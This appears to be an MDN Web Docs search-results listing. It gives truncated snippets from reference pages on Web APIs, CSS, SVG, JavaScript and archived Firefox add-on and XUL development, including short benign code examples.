the element.attachshadow() method attaches a shadow dom tree to the specified element and returns a reference to its shadowroot.
... elements you can attach a shadow to note that you can't attach a shadow root to every type of element.
...the following is a list of elements you can attach a shadow root to: any autonomous custom element with a valid name <article> <aside> <blockquote> <body> <div> <footer> <h1> <h2> <h3> <h4> <h5> <h6> <header> <main> <nav> <p> <section> <span> syntax var shadowroot = element.attachshadow(shadowrootinit); parameters shadowrootinit a shadowrootinit dictionary, which can contain the following fields: mode a string specifying the encapsulation mode for the shadow dom tree.
...And 5 more matches
Element: fullscreenchange event - Web APIs
the fullscreenchange event is fired immediately after an element switches into or out of full-screen mode.
... bubbles yes cancelable no interface event event handler property onfullscreenchange this event is sent to the element which is transitioning into or out of full-screen mode.
... examples in this example, a handler for the fullscreenchange event is added to the element whose id is fullscreen-div.
...And 5 more matches
Fetch basic concepts - Web APIs
the fetch api provides an interface for fetching resources (including across the network).
...this article explains some of the basic concepts of the fetch api.
...if you find a fetch concept that you feel needs explaining better, let someone know on the mdn discussion forum, or mdn web docs room on matrix.
...And 5 more matches
IDBVersionChangeEvent - Web APIs
the idbversionchangeevent interface of the indexeddb api indicates that the version of the database has changed, as the result of an idbopendbrequest.onupgradeneeded event handler function.
... idbversionchangeevent.oldversion read only returns the old version of the database.
... idbversionchangeevent.newversion read only returns the new version of the database.
...And 5 more matches
IDBVersionChangeRequest - Web APIs
the new way to do it is to use the idbopendbrequest interface which has now the onblocked handler and the newly needed onupgradeneeded one.
... the idbversionchangerequest interface the indexeddb api represents a request to change the version of a database.
... methods inherits from: idbrequest idbversionchangerequest.setversion updates the version of the database.
...And 5 more matches
MediaKeyStatusMap.forEach() - Web APIs
the foreach property of the mediakeystatusmap interface calls callback once for each key-value pair in the status map, in insertion order.
... syntax mediakeystatusmap.foreach(callback[, thisarg]) parameters callback function to execute for each element, taking three arguments: currentvalue the current element being processed in the array.
... array which array foreach() is being applied to.
...And 5 more matches
MerchantValidationEvent() - Web APIs
the merchantvalidationevent() constructor creates a new merchantvalidationevent object.
... you should not have to create these events yourself; instead, just handle the merchantvalidation event.
... syntax merchantvalidationevent = new merchantvalidationevent(type, options); parameters type a domstring which must be merchantvalidation, the only type of event which uses the merchantvalidationevent interface.
...And 5 more matches
MerchantValidationEvent.complete() - Web APIs
the merchantvalidationevent method complete() takes merchant-specific information previously received from the validationurl and uses it to validate the merchant.
... all you have to do is call complete() from your handler for the merchantvalidation event, passing in the data fetched from the validationurl.
... syntax merchantvalidationevent.complete(validationdata); merchantvalidationevent.complete(merchantsessionpromise); parameters validationdata or merchantsessionpromise an object containing the data needed to complete the merchant validation process, or a promise which resolves to the validation data.
...And 5 more matches
MessageChannel - Web APIs
the messagechannel interface of the channel messaging api allows us to create a new message channel and send data through it via its two messageport properties.
... properties messagechannel.port1 read only returns port1 of the channel.
... messagechannel.port2 read only returns port2 of the channel.
...And 5 more matches
MutationObserverInit.characterData - Web APIs
the mutationobserverinit dictionary's optional characterdata property is used to specify whether or not to monitor the node or nodes being observed for changes to their textual contents.
... character data changes are detectable on any text node, including nodes based on the text, processinginstruction, and comment interfaces.
... syntax var options = { characterdata: true | false } value a boolean value indicating whether or not to call the observer's callback function when textual nodes' values change.
...And 5 more matches
MutationObserverInit.characterDataOldValue - Web APIs
the mutationobserverinit dictionary's optional characterdataoldvalue property is used to specify whether or not the mutationrecord.oldvalue property for dom mutations should be set to the previous value of text nodes which changed.
... if you set the mutationobserverinit.characterdata property to true but don't set characterdataoldvalue to true as well, the mutationrecord will not include information describing the prior state of the text node's contents.
... character data changes are detectable on any text node, including nodes based on the text, processinginstruction, and comment interfaces.
...And 5 more matches
NonDocumentTypeChildNode.nextElementSibling - Web APIs
the nondocumenttypechildnode.nextelementsibling read-only property returns the element immediately following the specified one in its parent's children list, or null if the specified element is the last one in the list.
... (el) { console.log(el.nodename); el = el.nextelementsibling; } </script> this example outputs the following into the console when it loads: siblings of div-01: div script polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-child-elements.js if(!("nextelementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "nextelementsibling", { get: function(){ var e = this.nextsibling; while(e && 1 !== e.nodetype) e = e.nextsibling; return e; } }); } polyfill for internet explorer 9+ and safari // source: https://github.com/...
...jserz/js_piece/blob/master/dom/nondocumenttypechildnode/nextelementsibling/nextelementsibling.md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('nextelementsibling')) { return; } object.defineproperty(item, 'nextelementsibling', { configurable: true, enumerable: true, get: function () { var el = this; while (el = el.nextsibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'childnodenextelementsibling' in that specification.
...And 5 more matches
ParentNode.firstElementChild - Web APIs
the parentnode.firstelementchild read-only property returns the object's first child element, or null if there are no child elements.
...as this interface contained two distinct set of properties, one aimed at node that have children, one at those that are children, they have been moved into two separate pure interfaces, parentnode and childnode.
... in this case, firstelementchild moved to parentnode.
...And 5 more matches
ParentNode.lastElementChild - Web APIs
the parentnode.lastelementchild read-only property returns the object's last child element or null if there are no child elements.
...as this interface contained two distinct set of properties, one aimed at node that have children, one at those that are children, they have been moved into two separate pure interfaces, parentnode and childnode.
... in this case, lastelementchild moved to parentnode.
...And 5 more matches
PaymentRequest.onpaymentmethodchange - Web APIs
the paymentrequest event handler onpaymentmethodchange is invoked when the paymentmethodchange is fired, indicating that the user has changed payment methods within a given payment handler.
...each time the user does so, this event is fired.
... syntax paymentrequest.addeventlistener('paymentmethodchange', paymentmethodchangeevent => { ...
...And 5 more matches
PaymentResponse: payerdetailchange event - Web APIs
payerdetailchange events are delivered by the payment request api to a paymentresponse object when the user makes changes to their personal information while filling out a payment request form.
... the event handler for payerdetailchange should check each value in the form that has changed and ensure that the values are valid.
... bubbles no cancelable no interface paymentrequestupdateevent event handler property onpayerdetailchange examples in the example below, onpayerdetailchange is used to set up a listener for the payerdetailchange event in order to validate the information entered by the user, requesting that any mistakes be corrected // options for paymentrequest(), indicating that shipping address, // payer email address, name, and phone number all be collected.
...And 5 more matches
RTCDataChannel.onbufferedamountlow - Web APIs
the rtcdatachannel.onbufferedamountlow property is an eventhandler which specifies a function the browser calls when the bufferedamountlow event is sent to the rtcdatachannel.
... this event, which is represented by a simple event object, is sent when the amount of data buffered to be sent falls to or below the threshold specified by the channel's bufferedamountlowthreshold.
... see buffering in using webrtc data channels to learn more about how to work with the data channel buffer.
...And 5 more matches
RTCDataChannelEvent - Web APIs
the rtcdatachannelevent() constructor returns a new rtcdatachannelevent object, which represents a datachannel event.
... these events sent to an rtcpeerconnection when its remote peer is asking to open an rtcdatachannel between the two peers.
... you will rarely if ever construct an rtcdatachannelevent by hand; instead, the webrtc layer will generate and deliver them to you at the appropriate time.
...And 5 more matches
RTCPeerConnection: icegatheringstatechange event - Web APIs
the icegatheringstatechange event is sent to the onicegatheringstatechange event handler on an rtcpeerconnection when the state of the ice candidate gathering process changes.
... this signifies that the value of the connection's icegatheringstate property has changed.
... when ice firststarts to gather connection candidates, the value changes from new to gathering to indicate that the process of collecting candidate configurations for the connection has begun.
...And 5 more matches
SVGSwitchElement - Web APIs
the svgswitchelement interface corresponds to the <switch> element.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...And 5 more matches
ServiceWorker.onstatechange - Web APIs
an eventlistener property called whenever an event of type statechange is fired; it is basically fired anytime the serviceworker.state changes.
... syntax serviceworker.onstatechange = function(statechangeevent) { ...
... } serviceworker.addeventlistener('statechange', function(statechangeevent) { ...
...And 5 more matches
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
the pushsubscriptionchange event is sent to the global scope of a serviceworker to indicate a change in push subscription that was triggered outside the application's control.
... bubbles no cancelable no interface pushsubscriptionchangeevent event handler property onpushsubscriptionchange usage notes although examples demonstrating how to share subscription related information with the application server tend to use fetch(), this is not necessarily the best choice for real-world use, since it will not work if the app is offline, for example.
... consider using another method to synchronize subscription information between your service worker and the app server, or make sure your code using fetch() is robust enough to handle cases where attempts to exchange data fail.
...And 5 more matches
SpeechRecognitionAlternative.confidence - Web APIs
the confidence read-only property of the speechrecognitionresult interface returns a numeric estimate of how confident the speech recognition system is that the recognition is correct.
... syntax var myconfidence = speechrecognitionalternativeinstance.confidence; returns a number betwen 0 and 1.
... examples this code is excerpted from our speech color changer example.
...And 5 more matches
SpeechRecognitionErrorEvent.error - Web APIs
the error read-only property of the speechrecognitionerrorevent interface returns the type of error raised.
...the possible error types are: no-speech no speech was detected.
... aborted speech input was aborted in some manner, perhaps by some user-agent-specific behavior like a button the user can press to cancel speech input.
...And 5 more matches
SpeechRecognitionEvent.results - Web APIs
the results read-only property of the speechrecognitionevent interface returns a speechrecognitionresultlist object representing all the speech recognition results for the current session.
... syntax var myresults = event.results; value a speechrecognitionresultlist object.
... examples this code is excerpted from our speech color changer example.
...And 5 more matches
SpeechRecognitionResult.item() - Web APIs
the item getter of the speechrecognitionresult interface is a standard getter that allows speechrecognitionalternative objects within the result to be accessed via array syntax.
... syntax var myalternative = speechrecognitionresultinstance[0]; returns a speechrecognitionalternative object.
... examples this code is excerpted from our speech color changer example.
...And 5 more matches
SpeechRecognitionResult.length - Web APIs
the length read-only property of the speechrecognitionresult interface returns the length of the "array" — the number of speechrecognitionalternative objects contained in the result (also referred to as "n-best alternatives".) the number of alternatives contained in the result depends on what the speechrecognition.maxalternatives property was set to when the speech recognition was first initiated.
... syntax var mylength = speechrecognitionresultinstance.length; returns a number.
... examples this code is excerpted from our speech color changer example.
...And 5 more matches
SpeechRecognitionResultList.item() - Web APIs
the item getter of the speechrecognitionresultlist interface is a standard getter — it allows speechrecognitionresult objects in the list to be accessed via array syntax.
... syntax var myresult = speechrecognitionresultlistinstance[0]; returns a speechrecognitionresult object.
... examples this code is excerpted from our speech color changer example.
...And 5 more matches
SpeechRecognitionResultList.length - Web APIs
the length read-only property of the speechrecognitionresultlist interface returns the length of the "array" — the number of speechrecognitionresult objects in the list.
... syntax var mylength = speechrecognitionresultlistinstance.length; returns a number.
... examples this code is excerpted from our speech color changer example.
...And 5 more matches
SpeechSynthesisEvent - Web APIs
the speechsynthesisevent interface of the web speech api contains information about the current state of speechsynthesisutterance objects that have been processed in the speech service.
... properties the speechsynthesisevent interface also inherits properties from its parent interface, event.
... speechsynthesisevent.charindex read only returns the index position of the character in the speechsynthesisutterance.text that was being spoken when the event was triggered.
...And 5 more matches
SpeechSynthesisVoice - Web APIs
the speechsynthesisvoice interface of the web speech api represents a voice that the system supports.
... every speechsynthesisvoice has its own relative speech service including information about language, name and uri.
... properties speechsynthesisvoice.default read only a boolean indicating whether the voice is the default voice for the current app language (true), or not (false.) speechsynthesisvoice.lang read only returns a bcp 47 language tag indicating the language of the voice.
...And 5 more matches
TouchList - Web APIs
WebAPITouchList
the touchlist interface represents a list of contact points on a touch surface.
... for example, if the user has three fingers on the touch surface (such as a screen or trackpad), the corresponding touchlist object would have one touch object for each finger, for a total of three entries.
... properties touchlist.length read only the number of touch objects in the touchlist.
...And 5 more matches
URLSearchParams.set() - Web APIs
the set() method of the urlsearchparams interface sets the value associated with a given search parameter to the given value.
... if there were several matching values, this method deletes the others.
... if the search parameter doesn't exist, this method creates it.
...And 5 more matches
ValidityState.stepMismatch - Web APIs
the read-only stepmismatch property of a validitystate object indicates if the value of an <input>, after having been edited by the user, does not conform to the constraints set by the element's step attribute.
... if the field is numeric in nature, including the date, month, week, time, datetime-local, number and range types and the step value is not any, if the value don't doesn't conform to the constraints set by the step and min values, then stepmismatch will be true.
... if the remainder of the form control's value less the min value, divided by the step value (which defaults to 1 if ommitted) is not zero, there is a mismatch.
...And 5 more matches
XRInputSourceArray.forEach() - Web APIs
the xrinputsourcearray method foreach() executes the specified callback once for each input source in the array, starting at index 0 and progressing until the end of the list.
... syntax xrinputsourcearray.foreach(callback, thisarg); parameters callback a function to execute once for each entry in the array xrinputsourcearray.
... the callback accepts up to three parameters: currentvalue a xrinputsource object which is the value of the item from within the xrinputsourcearray which is currently being processed.
...And 5 more matches
XRInputSourcesChangeEvent() - Web APIs
the xrinputsourceschangeevent() constructor creates and returns a new xrinputsourceschangeevent object, representing an update to the list of available webxr input devices.
... syntax newinputsourceschangeevent = new xrinputsourceschangeevent(type, eventinitdict); parameters type a domstring indicating the type of event which has occurred.
... this string must always be inputsourceschange.
...And 5 more matches
XRSystem: devicechange event - Web APIs
a devicechange event is fired on an xrsystem object whenever the whenever the availability of immersive xr devices has changed; for example, a vr headset or ar goggles have been connected or disconnected.
... note: not to be confused with the mediadevices devicechange event.
... bubbles no cancelable no interface event event handler xrsystem.ondevicechange usage notes devicechange events are not delivered if the document which owns the xrsystem object has been granted permission to do so through the xr-spatial-tracking feature policy.
...And 5 more matches
Child combinator - CSS: Cascading Style Sheets
the child combinator (>) is placed between two css selectors.
... it matches only those elements matched by the second selector that are the direct children of elements matched by the first.
... /* list items that are children of the "my-things" list */ ul.my-things > li { margin: 2em; } elements matched by the second selector must be the immediate children of the elements matched by the first selector.
...And 5 more matches
String.prototype.matchAll() - JavaScript
the matchall() method returns an iterator of all results matching a string against a regular expression, including capturing groups.
... syntax str.matchall(regexp) parameters regexp a regular expression object.
... return value an iterator (which is not a restartable iterable).
...And 5 more matches
xChannelSelector - SVG: Scalable Vector Graphics
the xchannelselector attribute indicates which color channel from in2 to use to displace the pixels in in along the x-axis.
...lement is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="url(#displacementfilter)">some displa...
...ced text</text> <text x="10" y="120" font-size="50" filter="url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r this keyword specifies that the red color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the x-axis.
...And 5 more matches
yChannelSelector - SVG: Scalable Vector Graphics
the ychannelselector attribute indicates which color channel from in2 to use to displace the pixels in in along the y-axis.
...lement is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="url(#displacementfilter)">some displa...
...ced text</text> <text x="10" y="120" font-size="50" filter="url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r this keyword specifies that the red color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the y-axis.
...And 5 more matches
Web technology for developers
to take full advantage of these technologies, you need to know how to use them.
... below you'll find links to our web technology documentation.
... documentation for web developers web developer reference a list of all references for web technologies, including those for html, css, and so on.
...And 5 more matches
self - Archive of obsolete content
note that the self object in content scripts is completely different from the self module, which provides an api for an add-on to access its data files and id.
... self properties options content-scripting apis such as tab.attach(), page-mod, and page-worker let you pass read-only data to the content script as a json object via the contentscriptoptions option.
... if you do this, the data is available to the content script in the options property of self: // main.js const tabs = require("sdk/tabs"); tabs.open({ url: "./page.html", onready: function(tab) { tab.attach({ contentscriptfile: "./content-script.js", contentscriptoptions: { a: "blah" } }); } }); // content-script.js alert(self.options.a); port you can use port to receive messages from, and send messages to, the main add-on code.
...And 4 more matches
Contributor's Guide - Archive of obsolete content
classes and inheritance a class is a blueprint from which individual objects are created.
...each class defines one or more members, which are initialized to a given value when the class is instantiated.
... data members are properties that allow each instance to have their own state, whereas member functions are properties that allow instances to have behavior.
...And 4 more matches
Module structure of the SDK - Archive of obsolete content
a commonjs module is a piece of reusable javascript: it exports certain objects which are thus made available to dependent code.
... commonjs defines: an object called exports which contains all the objects which a commonjs module wants to make available to other modules a function called require which a module can use to import the exports object of another module.
... except for scripts that interact directly with web content, all the javascript code you'll write or use when developing add-ons using the sdk is part of a commonjs module, including: sdk modules: the javascript modules which the sdk provides, such as panel and page-mod.
...And 4 more matches
l10n - Archive of obsolete content
globals functions get(identifier, count, placeholder1...n) this function takes a string parameter which it uses as an identifier to look up and return a localized string in the locale currently set for firefox.
...this enables you to write functional, localizable code without localizing any strings - just make the identifiers the default language: var _ = require("sdk/l10n").get; console.log(_("hello!")); however, this will make it more difficult to maintain your code if you have many localizations, because any changes to the identifier values break all your .properties files.
... if you're supplying different localizations for a string depending on the number of items (that is, whether to use a singular or plural form) then get() takes a second integer parameter which indicates the number of items there are.
...And 4 more matches
querystring - Archive of obsolete content
globals functions stringify(fields, separator, assignment) serializes an object containing name:value pairs into a query string: querystring.stringify({ foo: 'bar', baz: 4 }); // => 'foo=bar&baz=4' by default '&' and'=' are used as separator and assignment characters, but you can override this using additional optional parameters: querystring.stringify({ foo: 'bar', baz: 4 }, ';', ':'); // => 'foo:bar;baz:4' parameters fields : object the data to convert to a query string.
... separator : string the string to use as a separator between each name:value pair.
... assignment : string the string to use between each name and its corresponding value.
...And 4 more matches
simple-storage - Archive of obsolete content
because jpm run by default uses a fresh profile each time it runs, simple storage won't work with add-ons executed using jpm run - that is, stored data will not persist from one run to the next.
...you may also need to include the --no-copy option to prevent firefox from copying the profile to a temporarry directory each time it starts.
... constructing arrays be careful to construct array objects conditionally in your code, or you may zero them each time the construction code runs.
...And 4 more matches
content/loader - Archive of obsolete content
provides one of the building blocks for those modules that use content scripts to interact with web content, such as panel and page-mod.
... usage the module exports a constructor for the loader object, which inherits on(), once(), and removelistener() functions that enable its users to listen to events.
... loader adds code to initialize and validate a set of properties for managing content scripts: contenturl contentscript contentscriptfile contentscriptwhen contentscriptoptions allow when certain of these properties are set, the loader emits a propertychange event, enabling its users to take the appropriate action.
...And 4 more matches
util/array - Archive of obsolete content
let { has } = require('sdk/util/array'); let a = ['rock', 'roll', 100]; has(a, 'rock'); // true has(a, 'rush'); // false has(a, 100); // true parameters array : array the array to search.
... element : * the element to search for in the array.
... let { hasany } = require('sdk/util/array'); let a = ['rock', 'roll', 100]; hasany(a, ['rock', 'bright', 'light']); // true hasany(a, ['rush', 'coil', 'jet']); // false parameters array : array the array to search for elements.
...And 4 more matches
Add a Context Menu Item - Archive of obsolete content
when it's clicked, the selection is sent to the main add-on code, which just logs it: var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.item({ label: "log selection", context: contextmenu.selectioncontext(), contentscript: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessage(text);' + '});', onmessage: function (selectiontext) { console.log(selectiontext); } }); try it: run th...
... context the context describes the circumstances in which the item should be shown.
... the context-menu module provides a number of simple built-in contexts, including this selectioncontext(), which means: display the item when something on the page is selected.
...And 4 more matches
Add-on SDK - Archive of obsolete content
you can use various standard web technologies: javascript, html, and css, to create the add-ons.
... the sdk includes javascript apis, which you can use to create add-ons and tools for creating, running, testing, and packaging add-ons.
... development techniques learn about common development techniques, such as unit testing, logging, creating reusable modules, localization, and mobile development.
...And 4 more matches
Customizing the download progress bar - Archive of obsolete content
in your jar.mn file, add the following (replacing "myextension" with the name of your extension's chrome package): % overlay chrome://mozapps/content/downloads/downloads.xul chrome://myextension/content/downloads-overlay.xul in downloads-overlay.xul, reference the new stylesheet: <?xml version="1.0"?> <?xml-stylesheet href="chrome://myextension/skin/myextension.css" type="text/css"?> <overlay id="mydownloadoverlay" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> </overlay> in jar.mn, make sure that there is an asterisk in front of the entry for myextension.css so th...
... the myextension.css file will look something like this: richlistitem progressmeter { %ifdef xp_win min-height: 17px !important; %else %ifdef xp_macosx -moz-appearance: none !important; background-image: url(chrome://myextension/skin/progress_bg_osx.png) !important; %endif %endif } richlistitem .progress-bar { %ifdef xp_win -moz-appearance: none !important; background-image: url(chrome://myextension/skin/progress_fd_win.png) !important; %else %ifdef xp_macosx background-image: url(chrome://myextension/skin/progress_fd_osx.gif) !important; %endif %endif } note: this file only supports windows and mac, but it would be straightforward to add support f...
... this is the product of some tweaking and experimentation, so perhaps there is a different and/or better way to achieve the same thing.
...And 4 more matches
HTML to DOM - Archive of obsolete content
the function below will safely parse simple html and return a dom object which can be manipulated like web page elements.
... function htmlparser(ahtmlstring){ var html = document.implementation.createdocument("http://www.w3.org/1999/xhtml", "html", null), body = document.createelementns("http://www.w3.org/1999/xhtml", "body"); html.documentelement.appendchild(body); body.appendchild(components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml) .parsefragment(ahtmlstring, false, null, body)); return body; } it works by creating a content-level (this is safer than chrome-level) <div> in the current page, then parsing the html fragment and attaching that fragment to the <div>.
...of body), you have all document object with its complete functions list, therefore you can retrieve info within div tag like this: var dompars = htmlparser("<div id='userinfo'>john was a mediocre programmer, but people liked him <strong>anyway</strong>.</div>"); alert(dompars.getelementbyid('userinfo').innerhtml); to parse a complete html page, load it into an iframe whose type is content (not chrome).
...And 4 more matches
Deploying a Plugin as an Extension - Archive of obsolete content
this feature is particularly useful for vendors who wish to deploy the plugin even if firefox is not currently installed, or who want to use the automatic extension update mechanism to update their plugin to a newer version.
... historically, most people have chosen to use an install.js script to install a plugin.
... when this method is used, you can choose to either place the plugin into the plugins directory, or, on windows, place it into your own directory and modify the windows registry to let firefox know where to find the plugin.
...And 4 more matches
Extension Packaging - Archive of obsolete content
extensions are packaged in a form of installable bundle which can be downloaded and installed by a user, or provided pre-packaged with an application or by an external program.
... extensions use a directory structure which can provide chrome, components, and other files to extend the functionality of an xul program.
... every extension must provide an install.rdf file, which contains metadata about the extension, such as its unique id, version, author, and compatibility information.
...And 4 more matches
Offering a context menu for form controls - Archive of obsolete content
firefox 3 changed the behavior of right-click on form controls to no longer display a context menu by default.
... this article describes how an extension can override this change in a particular window, enabling context menus to work on form controls.
... this article presents information based on ehsan akhgari's form control context menu extension, which was created specifically to demonstrate how to do this.
...And 4 more matches
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); then all we need is some persistent flag that ensures that the first run code is only run once.
... the best approach in this case is to use a preference, as explained in the handling preferences section.
... so, if we were to use fuel, we can do the following in the init function: init : function() { let firstrunpref = "extensions.xulschoolhello.firstrundone"; if (!application.prefs.getvalue(firstrunpref, false)) { application.prefs.setvalue(firstrunpref, true); // all the rest of the first run code goes here.
...And 4 more matches
Useful Mozilla Community Sites - Archive of obsolete content
« previous the mozilla community is very rich and active.
...it allows you to upload, search and download all types of add-ons for mozilla applications.
...all you need is your xpi, a few screenshots (good ones will make your extension much more appealing), and a few minutes to fill a couple of forms.
...And 4 more matches
Firefox addons developer guide - Archive of obsolete content
so there may be still some reference to the xuldev website (we want to host source code on mdc, not on xuldev), and to japanese things (like some specific locales, which have been translated to french since non-latin characters are not well supported).
... these should use the previous, next, and prevnext templates to add quick routes to get from chapter to chapter.
... each chapter should be tagged appropriately, based on content, and every chapter should include the tag "firefox addons developer guide".
...And 4 more matches
Underscores in class and ID Names - Archive of obsolete content
summary: the use of the underscore character in css can lead to major display problems in multiple browsers.
...this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances.
... it is a fairly common practice in many programming languages to use the underscore character (_) in the place of a "space" in variable and function names.
...And 4 more matches
Case Sensitivity in class and id Names - Archive of obsolete content
it is also important to avoid using class or id names which are a case-insensitive match within the same document.
... for example, you would not want to do something like: .urgent {color: purple;} .urgent {color: yellow;} even though these are technically two distinct class names, browsers other than netscape 6 will treat them as though they are the same thing.
... therefore, authors should not rely on case-sensitivity as a way of creating distinct identifiers, unless they are designing solely for a truly standards-compliant browser such as netscape 6.
...And 4 more matches
Getting the page URL in NPAPI plugin - Archive of obsolete content
sometimes, you want to restrict an npapi plugin to be loadable only from a certain url or domain or scheme.
...the url of the html which embeds the plugin, i.e.
... which caused the plugin to load?
...And 4 more matches
Install.js - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...pros: this version consolidates all the changable information at the top of the file.
... and it also knows how to install packaged components, search engines and default preferences.
...And 4 more matches
No Proxy For configuration - Archive of obsolete content
because the public network was small in scope and connections were slow, a caching proxy could often improve the overall performance.
...the field is relatively short, but can hold reasonably long (2k+ characters) entries.
... all non-fqdn hosts, such as intranet hosts the string "<local>" (without quotes) "<local>" bypasses the proxy for all hostnames which have no periods in them.
...And 4 more matches
Using XML Data Islands in Mozilla - Archive of obsolete content
when putting xml in a data block, you need to make sure that the xml content you are embedding does not have an end tag that case-insensitively matches "</script>".
... for example, a simple xml purchase order can be embedded like this: <script id="purchase-order" type="application/xml"> <purchaseorder xmlns="http://example.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1</name> <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> the xml source text can then be retrieved like this: var ordersource = document.getelementbyid("purchase-order").textcontent; the xml source text can be parsed into a dom tree using the domparser api: var parser = new domparser(); var doc = parser.parsefromstring(ordersource, "application/xml"); the html5 data block-based way shown here works in firefox, opera, webkit-based browsers such as chrome and safari, and ie9 whil...
...here is a complete demo (also available as an attachment): <!doctype html> <html> <head> <title>xml data block demo</title> <script id="purchase-order" type="application/xml"> <purchaseorder xmlns="http://example.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1</name> <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> <script> function rundemo() { var ordersource = document.getelementbyid("purchase-order").textcontent; var parser = new domparser(); var doc = parser.parsefromstring(ordersource, "application/xml"); var lineitems = doc.getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "lineitem"); var firstprice = lin...
...And 4 more matches
Tinderbox - Archive of obsolete content
it consists of a set of client machines that continuously build and test mozilla and report their results back to a server that makes those results available via a web page.
... the tool enables mozilla.org to be immediately notified of changes to the code that prevent mozilla from compiling and running (or compromise performance and footprint) so they can get someone to fix the problem or reverse the changes.
... mozilla engineers regularly check tinderbox before changing the code because changes are prohibited while the codebase is broken.
...And 4 more matches
Creating a Release Tag - Archive of obsolete content
the mini-branch is created so you can check in the build scripts with the necessary changes without touching the original branch.
... check out mozilla from the branch you want to tag.
... remember to also check out extra mac and win32 files that aren't normally checked out on linux or the tag won't build on those platforms.
...And 4 more matches
Dehydra Function Reference - Archive of obsolete content
process_type(type) dehydra calls this for each class, struct, enum, union, and typedef declaration.
... process_function(decl, body) dehydra calls this for each function definition (declarations without bodies are not included), including both top-level functions, class member functions, and inline class member functions.
...the default namespace is this the directories in sys.include_path are searched for the file, and the current working directory is searched last.
...And 4 more matches
Installing Dehydra - Archive of obsolete content
cd $home hg clone http://hg.mozilla.org/mozilla-central/ cd mozilla-central hg update aurora_base_20110705 cd js/src autoconf-2.13 mkdir $home/obj-js cd $home/obj-js $home/mozilla-central/js/src/configure --enable-optimize --disable-debug make it has to be checked whether later/newer branches (like aurora_base_20120131) are working, too.
...building gcc 4.5 for treehydra's process_tree_decl to work, when compiling with g++, you must use a patched gcc 4.5 before building dehydra.
